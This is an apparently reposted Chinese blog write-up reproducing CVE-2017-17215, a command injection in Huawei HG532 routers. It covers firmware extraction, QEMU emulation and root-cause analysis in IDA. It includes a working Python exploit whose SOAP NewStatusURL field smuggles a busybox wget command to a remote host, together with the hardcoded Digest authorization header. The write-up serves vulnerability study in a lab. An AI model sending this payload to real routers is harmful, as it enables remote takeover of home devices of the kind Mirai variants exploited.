【我的第一個現實漏洞分析】 CVE-2017-17215 華為智能路由器HG532 漏洞分析筆記


0x00 基本信息

2017.11.27 Check Point團隊報告華為 HG532 產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。 華為HG532 是一款小型家用和辦公用戶打造的告訴無線路由器。該漏洞payload由蜜罐所捕獲發現。利用原理是利用upnp服務中的注入漏洞實現任意命令執行。
在Freebuf上有一系列文章,指導如何學習路由器漏洞分析,本文是第一篇通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄 的復現記錄,旨在供后來者驗證和自我學習。

0x01 漏洞分析

該漏洞版本固件是HG532eV100R001C02B015_upgrade_main.bin。目前華為已發布漏洞公告,固件已經升級到HG532eV100R001C02B015_upgrade_main.bin。在華為的花粉論壇找到了該版本的下載鏈接。
click here to download
在這篇文章CVE-2017-17215-HG532命令注入漏洞分析 中也找到了下載地址2。兩篇文章可以對照看,Freebuf上的文章更為詳細具體。
查看官方Payload

分析固件文件

分析環境是ububtu 16.04 ,用binwalk解壓固件文件

binwalk -Me HG532eV100R001C02B015_upgrade_main.bin


根據CheckPoint報告,漏洞點位於UPnP服務中。執行下列命令。

cd _HG532eV100R001C02B015_upgrade_main.bin.extracted/
cd squashfs-root/
cd bin
file upnp

結果如下圖所示:

可以看到upnp是MIPS 32位 大端架構系統

0x02 分析環境搭建

環境搭建主要目的是搭建路由器固件運行的環境,有以下步驟:

  1. 安裝QEMU 虛擬機
  2. 配置網絡環境
  3. 加載路由器虛擬機的操作系統鏡像

1. 安裝qemu

在ubantu中執行下列指令

sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

2. 網絡配置

  1. 安裝網絡配置工具
apt-get install bridge-utils uml-utilities
  1. 修改ubuntu網絡配置接口文件 /etc/network/interfaces/

  2. 修改qemu的網絡接口啟動文件腳本etc/qemu-ifup如下所示:

  3. 啟動橋接網絡
    賦予可執行權限

sudo chmod a+x /etc/qemu-ifup 

重啟網絡服務,使配置生效

sudo /etc/init.d/networking restart

關閉ens33,啟動橋接網絡br0

sudo ifdown eth0
sudo ifup br0

執行到這里時,系統提示eh0並未啟動。這里並不影響

eth0不存在
br0啟動后如下所示
br0啟動后

3. 加載debian鏡像文件

結合Freebuf上的教程,下載debian mips qemu鏡像文件,作為固件運行環境,下載地址如下:
https://people.debian.org/~aurel32/qemu/mips/

根據教程下載debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。教程中作者吐槽其他的帖子有各種下載鏡像的地址,但是坑很多。
然后在下載文件夾路徑下,啟動qemu,運行剛剛下載的鏡像文件:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

一切順利,可以看到qemu成功啟動

在QEMU虛擬機中,用戶名root,密碼root成功登陸。
但是嘗試ping BAIDU時,發現網絡不通。
ifconfig -a發現了網絡機接口是eht1:

敲入指令

nano /etc/network/interfaces

將接口文件中的eth0改為eth1,之后,再鍵入指令

ifup eth1

重啟eth1,再次嘗試ping www.baidu.com。此時ping通。
直接在qemu上操作比較麻煩,建議在ubantu上ssh root@虛擬機ip來操作虛擬機。
將之前解壓的固件包拷貝到虛擬機中,即完成路由器固件運行環境的搭建。接下來開始漏洞的復現。固件拷貝命令如下:

scp -r ./squashfs-root  root@虛擬機ip:/root/ 

0x03 漏洞復現

本章解決三個問題。
第一:漏洞點在路由器的哪個服務中;
第二:如何運行漏洞點所在服務;
第三:如何利用

1. 定位漏洞點

首先查看checkpoint報告中的payload

注意其中的關鍵字:ctrltDeviceUpgrade_1,通過**grep -r [keywords]*指令查看有哪些文件包含這兩個詞語:

再找下端口號37215所在文件。

2. 運行漏洞點服務

但是要運行upnp和mic這兩個文件,需要先切換根目錄到路由器文件系統中,如果直接運行結果如下:

切換到路由器文件系統指令:

chroot /root/squashfs-root /bin/sh

或者執行qemu中squashfs-root文件夾中執行

chroot . sh

達到切換固件跟錄下的目的。結果如下圖所示:

運行mic服務

3. 驗證漏洞

這時測試一下路由器的37215端口,

在ubantu上鍵入指令sudo nc -vlp 80 監聽本機80端口,接下來運行exp腳本驗證漏洞。

0x04 EXP 腳本

根據披露的payload,構造EXP 腳本如下:

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 98.168.241.128 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://198.168.241.129:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

監聽發現80端口收到路由器發來的wget包。

說明路由器成功執行exp中的wget指令。

0x04 漏洞原理

用IDA打開固件文件中的/bin/upnp文件。根據poc,注入點在<NewStatusURL>以及<NewDownloadURL>,在字符串中找到它們

雙擊NewStatusURL,按下X查看交叉引用

查看這部分代碼

newstatusurl這個節點值為 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>

snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)

其中a0是被拷貝的字符串的地址,也是system調用的第一個參數,這意味着路由器會執行system(a0)指令,達到控制該路由器的目的。例如在本文的exp中,執行的是wget指令。

0x05 參考文章

[1] 通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄
[2] CVE-2017-17215 - 華為HG532命令注入漏洞分析
[3] CVE-2017-17215-HG532命令注入漏洞分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM